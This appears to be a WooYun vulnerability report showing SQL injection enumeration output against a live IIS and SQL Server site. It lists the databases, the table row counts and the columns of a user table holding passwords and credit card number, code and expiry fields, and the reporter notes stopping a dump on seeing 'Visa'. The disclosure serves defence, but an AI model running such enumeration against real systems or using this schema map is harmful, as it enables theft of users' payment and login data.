WooYun.org

web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current database:    'sp'
current user is DBA:    False
available databases [9]:
[*] absolutebm
[*] cpnews
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] sp
[*] tempdb
Database: sp
+-------------------------+---------+
| Table                   | Entries |
+-------------------------+---------+
| dbo.sptests             | 10103   |
| dbo.sp_headlinenews     | 8318    |
| dbo.guidepost           | 4510    |
| dbo.mp3_user            | 3346    |
| dbo.mp3_user1           | 1804    |
| dbo.inews_daily         | 1770    |
| dbo.articles            | 1409    |
| dbo.v_photogallery      | 1192    |
| dbo.sp_contents         | 1106    |
| dbo.sp_convert_20150616 | 847     |
| dbo.inews_contents      | 770     |
| dbo.mp3_contents        | 756     |
| dbo.sp_print1           | 474     |
| dbo.sp_newtimestamp     | 415     |
| dbo.three               | 207     |
| dbo.sp_n_contents       | 201     |
| dbo.inews_newtimestamp  | 155     |
| dbo.sp_timestamp        | 104     |
| dbo.one                 | 103     |
| dbo.sun                 | 75      |
| dbo.i380                | 73      |
| dbo.exam_user           | 57      |
| dbo.cptests             | 31      |
| dbo.sysconstraints      | 17      |
| dbo.sp_online           | 16      |
| dbo.sp_print            | 16      |
| dbo.syssegments         | 3       |
| dbo.mp3_samples         | 1       |
| dbo.onlyLogin           | 1       |
| dbo.textlink            | 1       |
+-------------------------+---------+
Database: sp
Table: mp3_user  ====> 这里某个列应该存储了信用卡信息,因为我尝试(仅仅是尝试,并未dump完,也未保存信息)dump第一条信息时发现有个列存储的是Visa, 看到这条记录我就取消了dump,并未看到真正的号码.
[25 columns]
+----------------+---------------+
| Column         | Type          |
+----------------+---------------+
| active         | int           |
| address        | varchar       |
| birthday       | smalldatetime |
| e_issue        | int           |
| email          | varchar       |
| gender         | varchar       |
| id             | int           |
| login_id       | varchar       |
| login_password | varchar       |
| name           | varchar       |
| o_date         | smalldatetime |
| o_type         | int           |
| ocardcode      | varchar       |
| ocardexpires   | varchar       |
| ocardno        | varchar       |
| ocardtype      | varchar       |
| price          | int           |
| profession     | varchar       |
| re_date        | smalldatetime |
| reminder       | int           |
| renew          | int           |
| s_issue        | int           |
| sw_date        | smalldatetime |
| telephone      | varchar       |
| tracer_id      | varchar       |
+----------------+---------------+